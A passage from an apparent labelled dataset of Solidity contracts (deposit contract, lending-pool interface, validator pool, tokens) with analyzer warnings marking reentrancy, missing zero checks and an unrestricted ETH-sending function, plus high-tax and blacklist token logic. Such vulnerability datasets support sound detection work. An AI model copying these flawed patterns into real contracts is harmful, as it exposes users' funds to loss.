sha256(abi.encodePacked(pubkey, bytes16(0)));\n\n bytes32 signature_root = sha256(\n abi.encodePacked(\n sha256(abi.encodePacked(signature[:64])),\n sha256(abi.encodePacked(signature[64:], bytes32(0)))\n )\n );\n\n bytes32 node = sha256(\n abi.encodePacked(\n sha256(abi.encodePacked(pubkey_root, withdrawal_credentials)),\n sha256(abi.encodePacked(amount, bytes24(0), signature_root))\n )\n );\n\n require(\n node == deposit_data_root,\n \"DepositContract: reconstructed DepositData does not match supplied deposit_data_root\"\n );\n\n require(\n deposit_count < MAX_DEPOSIT_COUNT,\n \"DepositContract: merkle tree full\"\n );\n\n deposit_count += 1;\n\n uint256 size = deposit_count;\n\n for (\n uint256 height = 0;\n height < DEPOSIT_CONTRACT_TREE_DEPTH;\n height++\n ) {\n if ((size & 1) == 1) {\n branch[height] = node;\n\n return;\n }\n\n node = sha256(abi.encodePacked(branch[height], node));\n\n size /= 2;\n }\n\n assert(false);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) external pure override returns (bool) {\n return\n interfaceId == type(ERC165).interfaceId ||\n interfaceId == type(IDepositContract).interfaceId;\n }\n\n function to_little_endian_64(\n uint64 value\n ) internal pure returns (bytes memory ret) {\n ret = new bytes(8);\n\n bytes8 bytesValue = bytes8(value);\n\n ret[0] = bytesValue[7];\n\n ret[1] = bytesValue[6];\n\n ret[2] = bytesValue[5];\n\n ret[3] = bytesValue[4];\n\n ret[4] = bytesValue[3];\n\n ret[5] = bytesValue[2];\n\n ret[6] = bytesValue[1];\n\n ret[7] = bytesValue[0];\n }\n}",
"file_name": "solidity_code_4115.sol",
"secure": 0,
"size_bytes": 5911
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\ninterface ILendingPool {\n struct CurrentRateInfo {\n uint64 lastTimestamp;\n uint64 ratePerSec;\n uint64 fullUtilizationRate;\n }\n\n struct VaultAccount {\n uint256 amount;\n uint256 shares;\n }\n\n function DEFAULT_CREDIT_PER_VALIDATOR_I48_E12()\n external\n view\n returns (uint48);\n\n function ETH2_DEPOSIT_CONTRACT() external view returns (address);\n\n function INTEREST_RATE_PRECISION() external view returns (uint256);\n\n function MAXIMUM_CREDIT_PER_VALIDATOR_I48_E12()\n external\n view\n returns (uint48);\n\n function MAX_WITHDRAWAL_FEE() external view returns (uint256);\n\n function MINIMUM_BORROW_AMOUNT() external view returns (uint256);\n\n function MISSING_CREDPERVAL_MULT() external view returns (uint256);\n\n function UTILIZATION_PRECISION() external view returns (uint256);\n\n function acceptTransferTimelock() external;\n\n function addInterest(\n bool _returnAccounting\n )\n external\n returns (\n uint256 _interestEarned,\n uint256 _feesAmount,\n uint256 _feesShare,\n CurrentRateInfo memory _currentRateInfo,\n VaultAccount memory _totalBorrow\n );\n\n function beaconOracle() external view returns (address);\n\n function borrow(address _recipient, uint256 _borrowAmount) external;\n\n function currentRateInfo()\n external\n view\n returns (\n uint64 lastTimestamp,\n uint64 ratePerSec,\n uint64 fullUtilizationRate\n );\n\n function deployValidatorPool(\n address _validatorPoolOwnerAddress,\n bytes32 _extraSalt\n ) external returns (address _poolAddress);\n\n function entrancyStatus() external view returns (bool _isEntered);\n\n function etherRouter() external view returns (address);\n\n function finalDepositValidator(\n bytes memory _validatorPublicKey,\n bytes memory _withdrawalCredentials,\n bytes memory _validatorSignature,\n bytes32 _depositDataRoot\n ) external;\n\n function frxETH() external view returns (address);\n\n function getLastWithdrawalTimestamp(\n address _validatorPoolAddress\n ) external returns (uint32 _lastWithdrawalTimestamp);\n\n function getLastWithdrawalTimestamps(\n address[] memory _validatorPoolAddresses\n ) external returns (uint32[] memory _lastWithdrawalTimestamps);\n\n function getMaxBorrow() external view returns (uint256 _maxBorrow);\n\n function getUtilization(\n bool _forceLive,\n bool _updateCache\n ) external returns (uint256 _utilization);\n\n function getUtilizationView() external view returns (uint256 _utilization);\n\n function initialDepositValidator(\n bytes memory _validatorPublicKey,\n uint256 _depositAmount\n ) external;\n\n function interestAccrued() external view returns (uint256);\n\n function isLiquidator(\n address _addr\n ) external view returns (bool _canLiquidate);\n\n function isSolvent(\n address _validatorPoolAddress\n ) external view returns (bool _isSolvent);\n\n function isValidatorApproved(\n bytes memory _publicKey\n ) external view returns (bool _isApproved);\n\n function liquidate(\n address _validatorPoolAddress,\n uint256 _amountToLiquidate\n ) external;\n\n function pendingTimelockAddress() external view returns (address);\n\n function previewAddInterest()\n external\n view\n returns (\n uint256 _interestEarned,\n uint256 _feesAmount,\n uint256 _feesShare,\n CurrentRateInfo memory _newCurrentRateInfo,\n VaultAccount memory _totalBorrow\n );\n\n function previewValidatorAccounts(\n address _validatorPoolAddress\n ) external view returns (VaultAccount memory);\n\n function rateCalculator() external view returns (address);\n\n function recoverStrandedEth() external returns (uint256 _amountRecovered);\n\n function redemptionQueue() external view returns (address);\n\n function registerWithdrawal(\n address _endRecipient,\n uint256 _sentBackAmount,\n uint256 _feeAmount\n ) external;\n\n function renounceTimelock() external;\n\n function repay(address _targetPool) external payable;\n\n function setBeaconOracleAddress(address _newBeaconOracleAddress) external;\n\n function setCreationCode(bytes memory _creationCode) external;\n\n function setEtherRouterAddress(address _newEtherRouterAddress) external;\n\n function setInterestRateCalculator(address _calculatorAddress) external;\n\n function setLiquidator(\n address _liquidatorAddress,\n bool _canLiquidate\n ) external;\n\n function setRedemptionQueueAddress(address _newRedemptionQueue) external;\n\n function setVPoolCreditsPerValidator(\n address[] memory _validatorPoolAddresses,\n uint48[] memory _newCreditsPerValidator\n ) external;\n\n function setVPoolValidatorCountsAndBorrowAllowances(\n address[] memory _validatorPoolAddresses,\n bool _setValidatorCounts,\n bool _setBorrowAllowances,\n uint32[] memory _newValidatorCounts,\n uint128[] memory _newBorrowAllowances,\n uint32[] memory _lastWithdrawalTimestamps\n ) external;\n\n function setVPoolWithdrawalFee(uint256 _newFee) external;\n\n function setValidatorApprovals(\n bytes[] memory _validatorPublicKeys,\n address[] memory _validatorPoolAddresses,\n uint32[] memory _whenApprovedArr,\n uint32[] memory _lastWithdrawalTimestamps\n ) external;\n\n function timelockAddress() external view returns (address);\n\n function toBorrowAmount(\n uint256 _shares\n ) external view returns (uint256 _borrowAmount);\n\n function toBorrowAmountOptionalRoundUp(\n uint256 _shares,\n bool _roundUp\n ) external view returns (uint256 _borrowAmount);\n\n function totalBorrow()\n external\n view\n returns (uint256 amount, uint256 shares);\n\n function transferTimelock(address _newTimelock) external;\n\n function utilizationStored() external view returns (uint256);\n\n function vPoolWithdrawalFee() external view returns (uint256);\n\n function validatorDepositInfo(\n bytes memory _validatorPublicKey\n )\n external\n view\n returns (\n uint32 whenValidatorApproved,\n bool wasFullDepositOrFinalized,\n address validatorPoolAddress,\n uint96 userDepositedEther,\n uint96 lendingPoolDepositedEther\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b577792): ILendingPool.validatorPoolAccounts(address).wasLiquidated shadows ILendingPool.wasLiquidated(address) (function)\n\t// Recommendation for b577792: Rename the local variables that shadow another component.\n function validatorPoolAccounts(\n address _validatorPool\n )\n external\n view\n returns (\n bool isInitialized,\n bool wasLiquidated,\n uint32 lastWithdrawal,\n uint32 validatorCount,\n uint48 creditPerValidatorI48_E12,\n uint128 borrowAllowance,\n uint256 borrowShares\n );\n\n function validatorPoolCreationCodeAddress() external view returns (address);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b577792): ILendingPool.validatorPoolAccounts(address).wasLiquidated shadows ILendingPool.wasLiquidated(address) (function)\n\t// Recommendation for b577792: Rename the local variables that shadow another component.\n function wasLiquidated(\n address _validatorPoolAddress\n ) external view returns (bool _wasLiquidated);\n\n function wouldBeSolvent(\n address _validatorPoolAddress,\n bool _accrueInterest,\n uint256 _addlValidators,\n uint256 _addlBorrowAmount\n )\n external\n view\n returns (\n bool _wouldBeSolvent,\n uint256 _borrowAmount,\n uint256 _creditAmount\n );\n}",
"file_name": "solidity_code_4116.sol",
"secure": 0,
"size_bytes": 8367
} |
{
"code": "// SPDX-License-Identifier: GPL-2.0-or-later\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable2Step.sol\" as Ownable2Step;\nimport \"./PublicReentrancyGuard.sol\" as PublicReentrancyGuard;\nimport \"./IDepositContract.sol\" as IDepositContract;\nimport \"@aave/protocol-v2/contracts/interfaces/ILendingPool.sol\" as ILendingPool;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ValidatorPool is Ownable2Step, PublicReentrancyGuard {\n mapping(bytes validatorPubKey => uint256 amtDeposited) public depositedAmts;\n\n bytes32 public immutable withdrawalCredentials;\n\n ILendingPool public immutable lendingPool;\n\n IDepositContract public immutable ETH2_DEPOSIT_CONTRACT;\n\n constructor(\n address _ownerAddress,\n address payable _lendingPoolAddress,\n address payable _eth2DepositAddress\n ) Ownable(_ownerAddress) {\n lendingPool = ILendingPool(_lendingPoolAddress);\n\n bytes32 _bitMask = 0x0100000000000000000000000000000000000000000000000000000000000000;\n\n bytes32 _address = bytes32(uint256(uint160(address(this))));\n\n withdrawalCredentials = _bitMask | _address;\n\n ETH2_DEPOSIT_CONTRACT = IDepositContract(_eth2DepositAddress);\n }\n\n receive() external payable {}\n\n function _requireSenderIsOwner() internal view {\n if (msg.sender != owner()) revert SenderMustBeOwner();\n }\n\n function _requireSenderIsOwnerOrLendingPool() internal view {\n if (\n msg.sender == owner() || msg.sender == address(lendingPool)\n ) {} else {\n revert SenderMustBeOwnerOrLendingPool();\n }\n }\n\n function _requireValidatorIsUsed(bytes memory _pubKey) internal view {\n if (depositedAmts[_pubKey] == 0) revert ValidatorIsNotUsed();\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 39fd068): ValidatorPool.getAmountBorrowed() ignores return value by (None,None,None,None,None,None,borrowShares) = lendingPool.validatorPoolAccounts(address(this))\n\t// Recommendation for 39fd068: Ensure that all the return values of the function calls are used.\n function getAmountBorrowed() public view returns (uint256 _amtEthBorrowed) {\n\t\t// unused-return | ID: 39fd068\n (, , , , , , uint256 borrowShares) = lendingPool.validatorPoolAccounts(\n address(this)\n );\n\n return lendingPool.toBorrowAmountOptionalRoundUp(borrowShares, true);\n }\n\n event ValidatorPoolDeposit(\n address _validatorPool,\n bytes _pubkey,\n uint256 _amount\n );\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 48a5fde): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 48a5fde: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _deposit(\n bytes calldata pubkey,\n bytes calldata signature,\n bytes32 _depositDataRoot,\n uint256 _depositAmount\n ) internal {\n bytes memory _withdrawalCredentials = abi.encodePacked(\n withdrawalCredentials\n );\n\n\t\t// reentrancy-benign | ID: 48a5fde\n ETH2_DEPOSIT_CONTRACT.deposit{value: _depositAmount}(\n pubkey,\n _withdrawalCredentials,\n signature,\n _depositDataRoot\n );\n\n\t\t// reentrancy-benign | ID: 48a5fde\n depositedAmts[pubkey] += _depositAmount;\n\n emit ValidatorPoolDeposit(address(this), pubkey, _depositAmount);\n }\n\n function deposit(\n bytes calldata _validatorPublicKey,\n bytes calldata _validatorSignature,\n bytes32 _depositDataRoot\n ) external payable nonReentrant {\n _requireSenderIsOwner();\n\n if ((msg.value % (1 ether)) != 0) revert MustBeIntegerMultipleOf1Eth();\n\n _deposit(\n _validatorPublicKey,\n _validatorSignature,\n _depositDataRoot,\n msg.value\n );\n\n lendingPool.initialDepositValidator(_validatorPublicKey, msg.value);\n }\n\n function requestFinalDeposit(\n bytes calldata _validatorPublicKey,\n bytes calldata _validatorSignature,\n bytes32 _depositDataRoot\n ) external nonReentrant {\n _requireSenderIsOwner();\n\n _requireValidatorIsUsed(_validatorPublicKey);\n\n lendingPool.finalDepositValidator(\n _validatorPublicKey,\n abi.encodePacked(withdrawalCredentials),\n _validatorSignature,\n _depositDataRoot\n );\n }\n\n function borrow(\n address payable _recipient,\n uint256 _borrowAmount\n ) public nonReentrant {\n _requireSenderIsOwner();\n\n lendingPool.borrow(_recipient, _borrowAmount);\n }\n\n function repayWithValue() external payable nonReentrant {\n _requireSenderIsOwnerOrLendingPool();\n\n lendingPool.repay{value: msg.value}(address(this));\n }\n\n function repayAmount(uint256 _repayAmount) external nonReentrant {\n _requireSenderIsOwnerOrLendingPool();\n\n lendingPool.repay{value: _repayAmount}(address(this));\n }\n\n function repayShares(uint256 _repayShares) external nonReentrant {\n _requireSenderIsOwnerOrLendingPool();\n\n uint256 _repayAmount = lendingPool.toBorrowAmountOptionalRoundUp(\n _repayShares,\n true\n );\n\n lendingPool.repay{value: _repayAmount}(address(this));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4ec14ed): ValidatorPool.withdraw(address,uint256)._recipient lacks a zerocheck on \t (sent,None) = address(_recipient).call{value _postFeeAmt}()\n\t// Recommendation for 4ec14ed: Check that the address is not zero.\n function withdraw(\n address payable _recipient,\n uint256 _withdrawAmount\n ) external nonReentrant {\n _requireSenderIsOwner();\n\n uint256 _withdrawalFeeAmt = (_withdrawAmount *\n lendingPool.vPoolWithdrawalFee()) / 1e6;\n\n uint256 _postFeeAmt = _withdrawAmount - _withdrawalFeeAmt;\n\n lendingPool.registerWithdrawal(\n _recipient,\n _postFeeAmt,\n _withdrawalFeeAmt\n );\n\n (bool sent, ) = payable(lendingPool.etherRouter()).call{\n value: _withdrawalFeeAmt\n }(\"\");\n\n if (!sent) revert InvalidEthTransfer();\n\n\t\t// missing-zero-check | ID: 4ec14ed\n (sent, ) = payable(_recipient).call{value: _postFeeAmt}(\"\");\n\n if (!sent) revert InvalidEthTransfer();\n }\n\n error ExternalContractAlreadyEntered();\n\n error InsufficientSenderAndPoolEth();\n\n error InvalidEthTransfer();\n\n error MustBeIntegerMultipleOf1Eth();\n\n error SenderMustBeLendingPool();\n\n error SenderMustBeOwner();\n\n error SenderMustBeOwnerOrLendingPool();\n\n error ValidatorIsNotUsed();\n\n error WrongEthDepositAmount();\n}",
"file_name": "solidity_code_4117.sol",
"secure": 0,
"size_bytes": 7151
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract AlleyCat is Ownable, ERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8a9d899): AlleyCat.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 8a9d899: Rename the local variables that shadow another component.\n constructor() ERC20(\"Alley Cat\", \"ALLEY\") {\n uint256 _totalSupply = 1 * 10 ** 9 * 10 ** 18;\n\n _mint(msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_4118.sol",
"secure": 0,
"size_bytes": 639
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract YieldX is ERC20, Ownable {\n uint256 private buyTax = 25;\n\n uint256 private sellTax = 30;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8c865ae): YieldX.uniswapV2Router should be immutable \n\t// Recommendation for 8c865ae: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5fee0f6): YieldX.uniswapV2Pair should be immutable \n\t// Recommendation for 5fee0f6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => bool) public isExempt;\n\n address private immutable marketingAddress;\n\n address private immutable taxAddress;\n\n uint256 public maxTransactionAmount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: faf6f27): YieldX.maxTxLaunch should be immutable \n\t// Recommendation for faf6f27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxLaunch;\n\n bool private launch = false;\n\n bool private slowLaunch = true;\n\n uint256 private blockLaunch;\n\n uint256 private lastSellBlock;\n\n uint256 private sellCount;\n\n uint256 private minSwap;\n\n uint256 private maxSwap;\n\n uint256 private _buyCount = 0;\n\n bool private inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a918f32): YieldX.constructor(address,address,address)._taxAddress lacks a zerocheck on \t taxAddress = _taxAddress\n\t// Recommendation for a918f32: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3dffdc6): YieldX.constructor(address,address,address)._marketingAddress lacks a zerocheck on \t marketingAddress = _marketingAddress\n\t// Recommendation for 3dffdc6: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 169ac31): YieldX.constructor(address,address,address).totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 169ac31: Rename the local variables that shadow another component.\n constructor(\n address _taxAddress,\n address _marketingAddress,\n address _daoWallet\n ) ERC20(\"YieldX\", \"YIELDX\") Ownable() {\n uint256 totalSupply = 100000000 * 10 ** 18;\n\n\t\t// missing-zero-check | ID: 3dffdc6\n marketingAddress = _marketingAddress;\n\n\t\t// missing-zero-check | ID: a918f32\n taxAddress = _taxAddress;\n\n isExempt[msg.sender] = true;\n\n isExempt[address(this)] = true;\n\n isExempt[_marketingAddress] = true;\n\n isExempt[_daoWallet] = true;\n\n _mint(msg.sender, (totalSupply * 75) / 100);\n\n _mint(_daoWallet, (totalSupply * 20) / 100);\n\n _mint(_marketingAddress, (totalSupply * 5) / 100);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = address(\n IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n )\n );\n\n maxTransactionAmount = (totalSupply * 1) / 100;\n\n maxTxLaunch = (totalSupply * 3) / 1000;\n\n maxSwap = 200000 * 10 ** 18;\n\n minSwap = 25000 * 10 ** 18;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0156505): YieldX.addLiquidityV2() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0156505: Ensure that all the return values of the function calls are used.\n function addLiquidityV2() external onlyOwner {\n _approve(\n address(this),\n address(uniswapV2Router),\n balanceOf(address(this))\n );\n\n\t\t// unused-return | ID: 0156505\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function getMinCASwap() public view returns (uint256) {\n return minSwap / 10 ** decimals();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 05af775): YieldX.setMaxCASwap(uint256) should emit an event for maxSwap = _maxSwap * 10 ** decimals() \n\t// Recommendation for 05af775: Emit an event for critical parameter changes.\n function setMaxCASwap(uint256 _maxSwap) external onlyOwner {\n\t\t// events-maths | ID: 05af775\n maxSwap = _maxSwap * 10 ** decimals();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 42032ba): YieldX.setMinSwap(uint256) should emit an event for minSwap = _minSwap * 10 ** decimals() \n\t// Recommendation for 42032ba: Emit an event for critical parameter changes.\n function setMinSwap(uint256 _minSwap) external onlyOwner {\n\t\t// events-maths | ID: 42032ba\n minSwap = _minSwap * 10 ** decimals();\n }\n\n function switchCaCAnSell() external onlyOwner {\n if (inSwap) {\n inSwap = false;\n } else {\n inSwap = true;\n }\n }\n\n function offSlowLaunch() external onlyOwner {\n slowLaunch = false;\n }\n\n function getMaxCASwap() public view returns (uint256) {\n return maxSwap / 10 ** decimals();\n }\n\n function swapTokensEth(uint256 tokenAmount) internal lockTheSwap {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 5e96ef8\n\t\t// reentrancy-no-eth | ID: ee14ee0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n taxAddress,\n block.timestamp\n );\n }\n\n mapping(address => bool) private hasBoughtInFirstBlock;\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5e96ef8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5e96ef8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ee14ee0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ee14ee0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 0e0ac9c): YieldX._transfer(address,address,uint256) uses a dangerous strict equality block.number == blockLaunch\n\t// Recommendation for 0e0ac9c: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(\n address from,\n address to,\n uint256 value\n ) internal virtual override {\n if (!isExempt[from] && !isExempt[to]) {\n require(launch, \"Trading has not been launched yet.\");\n\n uint256 tax = 0;\n\n if (slowLaunch && blockLaunch != block.number) {\n require(\n value <= maxTxLaunch,\n \"Transaction exceeds max launch limit.\"\n );\n } else {\n require(\n value <= maxTransactionAmount,\n \"Transaction exceeds max limit.\"\n );\n }\n\n if (to == uniswapV2Pair) {\n tax = sellTax;\n\n uint256 tokensSwap = balanceOf(address(this));\n\n if (tokensSwap > minSwap && !inSwap) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (sellCount < 3) {\n sellCount++;\n\n lastSellBlock = block.number;\n\n\t\t\t\t\t\t// reentrancy-events | ID: 5e96ef8\n\t\t\t\t\t\t// reentrancy-no-eth | ID: ee14ee0\n swapTokensEth(min(maxSwap, min(value, tokensSwap)));\n }\n }\n } else if (from == uniswapV2Pair) {\n tax = buyTax;\n\n\t\t\t\t// incorrect-equality | ID: 0e0ac9c\n if (block.number == blockLaunch) {\n require(\n !hasBoughtInFirstBlock[to],\n \"Wallet already bought in the first block.\"\n );\n\n hasBoughtInFirstBlock[to] = true;\n\n _buyCount++;\n\n require(\n _buyCount <= 20,\n \"Exceeds buys on the first block.\"\n );\n\n tax = 35;\n }\n }\n\n uint256 taxAmount = (value * tax) / 100;\n\n uint256 amountAfterTax = value - taxAmount;\n\n if (taxAmount > 0) {\n\t\t\t\t// reentrancy-events | ID: 5e96ef8\n\t\t\t\t// reentrancy-no-eth | ID: ee14ee0\n super._transfer(from, address(this), taxAmount);\n }\n\n\t\t\t// reentrancy-events | ID: 5e96ef8\n\t\t\t// reentrancy-no-eth | ID: ee14ee0\n super._transfer(from, to, amountAfterTax);\n\n return;\n }\n\n super._transfer(from, to, value);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 45f26a9): YieldX.setTax(uint256,uint256) should emit an event for sellTax = newSellTax buyTax = newBuyTax \n\t// Recommendation for 45f26a9: Emit an event for critical parameter changes.\n function setTax(uint256 newBuyTax, uint256 newSellTax) external onlyOwner {\n require(newBuyTax < 30 && newSellTax < 30);\n\n\t\t// events-maths | ID: 45f26a9\n sellTax = newSellTax;\n\n\t\t// events-maths | ID: 45f26a9\n buyTax = newBuyTax;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: bb4ea25): YieldX.setMaxTx(uint256) should emit an event for maxTransactionAmount = newMaxTx * 10 ** decimals() \n\t// Recommendation for bb4ea25: Emit an event for critical parameter changes.\n function setMaxTx(uint256 newMaxTx) external onlyOwner {\n\t\t// events-maths | ID: bb4ea25\n maxTransactionAmount = newMaxTx * 10 ** decimals();\n }\n\n function removeAllLimits() external onlyOwner {\n maxTransactionAmount = totalSupply();\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1d9d12b): YieldX.exportETH() sends eth to arbitrary user Dangerous calls address(marketingAddress).transfer(address(this).balance)\n\t// Recommendation for 1d9d12b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function exportETH() external {\n\t\t// arbitrary-send-eth | ID: 1d9d12b\n payable(marketingAddress).transfer(address(this).balance);\n }\n\n function setExcludedWallet(\n address wAddress,\n bool isExcle\n ) external onlyOwner {\n isExempt[wAddress] = isExcle;\n }\n\n function openTrading() external onlyOwner {\n launch = true;\n\n blockLaunch = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_4119.sol",
"secure": 0,
"size_bytes": 12335
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SignedMath.sol\" as SignedMath;\nimport \"@openzeppelin/contracts/utils/math/Math.sol\" as Math;\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly (\"memory-safe\") {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly (\"memory-safe\") {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function toChecksumHexString(\n address addr\n ) internal pure returns (string memory) {\n bytes memory buffer = bytes(toHexString(addr));\n\n uint256 hashValue;\n\n assembly (\"memory-safe\") {\n hashValue := shr(96, keccak256(add(buffer, 0x22), 40))\n }\n\n for (uint256 i = 41; i > 1; --i) {\n if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) {\n buffer[i] ^= 0x20;\n }\n\n hashValue >>= 4;\n }\n\n return string(buffer);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}",
"file_name": "solidity_code_412.sol",
"secure": 1,
"size_bytes": 3074
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isLocked;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n require(isLocked[owner] != true, \"Address is blocked transfer\");\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n require(isLocked[from] != true, \"Address is blocked transfer\");\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n 